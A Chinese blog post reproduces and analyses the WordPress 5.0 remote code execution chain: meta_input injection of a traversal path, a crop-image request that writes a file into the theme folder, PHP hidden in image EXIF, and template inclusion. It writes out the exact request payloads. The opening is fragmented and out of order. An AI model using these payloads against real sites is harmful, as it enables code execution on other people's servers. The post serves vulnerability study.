所以在复现的时候,将meta_input去掉 根据路径 根据 在 在 wp-includes/post.php中: 由于 http://120.79.189.7/?p=5781.环境配置
function _wp_get_allowed_postdata( $post_data = null ) {
if ( empty( $post_data ) ) {
$post_data = $_POST;
}
// Pass through errors
if ( is_wp_error( $post_data ) ) {
return $post_data;
}
return array_diff_key( $post_data, array_flip( array( 'meta_input', 'file', 'guid' ) ) );
}
define('AUTOMATIC_UPDATER_DISABLED', true);
用于阻止自动更新,不然代码可能会有不小的变动2.漏洞成因
3.漏洞复现
&meta_input[_wp_attached_file]=2019/03/evil-2.jpg#/../../../../themes/twentynineteen/youncyb.jpg
可以看到,数据库中,_wp_attached_file值已经变成了我们添加的数据。
action=crop-image&_ajax_nonce=f1fd9506ea&id=6&cropDetails[x1]=10&cropDetails[y1]=10&cropDetails[width]=10&cropDetails[height]=10&cropDetails[dst_width]=100&cropDetails[dst_height]=100
注意nonce和id要为修改前的,然后提交,可以看到已经在wp-content/themes/twentynineteen/
成功写入了文件crop-xxx.jpg
&meta_input[_wp_page_file]=cropped-youncyb.jpg&page_template=0
(这里不加page_template将会导致_wp_page_file被更新为default,从而导致包含失败)
注:由于我没有安装ImageMagick6.9.6导致,代码只能用jd库来对图片进行裁剪,jd库会去除jpg中所有的php代码,需要精心构造,才能将代码保存,而ImageMagick会保存jpg的exif区域,这样我们可以利用exiftool:
exiftool evil.jpg -ownername="<?php phpinfo();?>"
复现只好人为的修改下cropped-youncyb.jpg。4.漏洞分析
1. wp_postmeta 数据注入分析
wp-admin/post.php
以及action=editpost
,我们直接定位到代码:
继续跟进edit_post()
函数:
可以看到$post_data 先用_wp_translate_postdata()
函数被转换为用于插入数据库的格式,然后继续进入waf:_wp_get_allowed_postdata( $post_data );
这个waf就是我们最开始所讲的官方补丁,跟踪$translated变量继续往下看:
跟进wp_update_post( $translated );
函数:
$post会根据$postarr从数据库中取出数据,然后将$post和$postarr合并,再进入wp_insert_attachment($postarr);
函数,继续跟进:
继续跟进wp_insert_post( $data, $wp_error );
函数:
继续跟进update_post_meta( $post_ID, $field, $value );
函数,这个函数对应就是图片更新操作:
通过update_metadata
函数对wp_postmeta进行更新,至于meta_input的key为什么是_wp_attached_file,我们接着分析第二个漏洞:2. 目录穿越写文件
wp-admin/admin-ajax.php
以及action=crop-imagee
,我们定位到代码:
拼接后就是:wp_ajax_crop_image
函数,全局搜索在wp-admin/includes/ajax-actions.php
:
我们可以看到check_ajax_referer
函数会检查nonce和id,这也就是为什么更改id和nonce的原因,继续跟进wp_crop_image
函数:
进入get_attached_file( $src );
函数:
<codee>get_post_meta( $attachment_id, '_wp_attached_file', true );函数会从wp_postmeta
表中取出数据,这也就说明了为什么meta_key
要为_wp_attached_file
,然后将$file拼接为:/Applications/MxSrvs/www/wordpress/wp-content/upload/2019/03/evil.jpg#/../../../../themes/twentynineteen/youncyb.jpg
返回到wp_crop_image
函数,通过file_exists( $src_file )
函数判断文件是否存在,但由于evil.jpg#
是个假目录,文件不存在,所以进入_load_image_to_edit_path( $src, 'full' );
函数:
同样会进行上一步的操作,但由于文件不存在的原因,程序进入第二个分支,跟进wp_get_attachment_url( $attachment_id )
函数:
同样$file = get_post_meta( $post->ID, '_wp_attached_file', true )
会从wp_postmeta表中取出_wp_attached_file
的值,经过判断,进入最后一个分支:所以$url=http://127.0.0.1/wordpress/wp-content/uploads/2019/03/evil.jpg#/../../../../themes/twentynineteen/youncyb.jpg
,然后返回到wp_crop_image
函数,进入到wp_get_image_editor( $src );
函数:
继续跟进_wp_image_editor_choose( $args );
函数:
可以看到,会用array( 'WP_Image_Editor_Imagick', 'WP_Image_Editor_GD' )
其中之一作为图片剪辑的函数,根据代码逻辑会优先选择ImageMagick,这也是为什么我们需要安装ImageMagick扩展了,返回到wp_crop_image
函数,根据代码:$dst_file = str_replace( basename( $src_file ), 'cropped-' . basename( $src_file ), $src_file );
$dist_file被修改为:/Applications/MxSrvs/www/wordpress/wp-content/upload/2019/03/evil.jpg#/../../../../themes/twentynineteen/cropped-youncyb.jpg
,通过wp_mkdir_p( dirname( $dst_file ) );
函数创建目录,会创建一个假目录evil.jpg#
,接着看$editor->save( $dst_file );
函数:
跟进make_image
函数:
注意到:这里也有个wp_mkdir_p
函数,由于已经存在evil.jpg#
目录,这里就可以通过../
跨目录直接写文件3. 本地模板包含
wp-includes/template-loader.php
中:
先回通过is_404()、is_search()、is_home()等函数对页面类型进行判断,进而包含相应的模板,全局搜索_wp_page_tempate
在wp-includes/post-template.php
可以看到:
get_page_template_slug
函数,会取_wp_page_template
作为模板,查找其用法,发现正好是template-loader.php中:
而get_page_template_slug
函数调用的也是get_post_meta
函数,所以只需和第一步同样的操作即可4. 参数page_template=0
if ( ! empty( $postarr['page_template'] ) ) {
$post->page_template = $postarr['page_template'];
$page_templates = wp_get_theme()->get_page_templates( $post );
if ( 'default' != $postarr['page_template'] && ! isset( $page_templates[ $postarr['page_template'] ] ) ) {
if ( $wp_error ) {
return new WP_Error( 'invalid_page_template', __( 'Invalid page template.' ) );
}
update_post_meta( $post_ID, '_wp_page_template', 'default' );
} else {
update_post_meta( $post_ID, '_wp_page_template', $postarr['page_template'] );
}
}
update_post_meta( $post_ID, '_wp_page_template', 'default' );
会再次使_wp_page_template的值变为default,导致包含失败,所以我们需要加入page_template=0这样就可以避免进入这个分支!5.参考
http://hu3sky.ooo/2019/02/28/wp/
https://paper.seebug.org/822/#post-meta
https://mochazz.github.io/2019/03/01/WordPress5.0远程代码执行分析/
https://mp.weixin.qq.com/s/Yy1W8Bd75Ibis0aSD7yawg
Comments NOTHING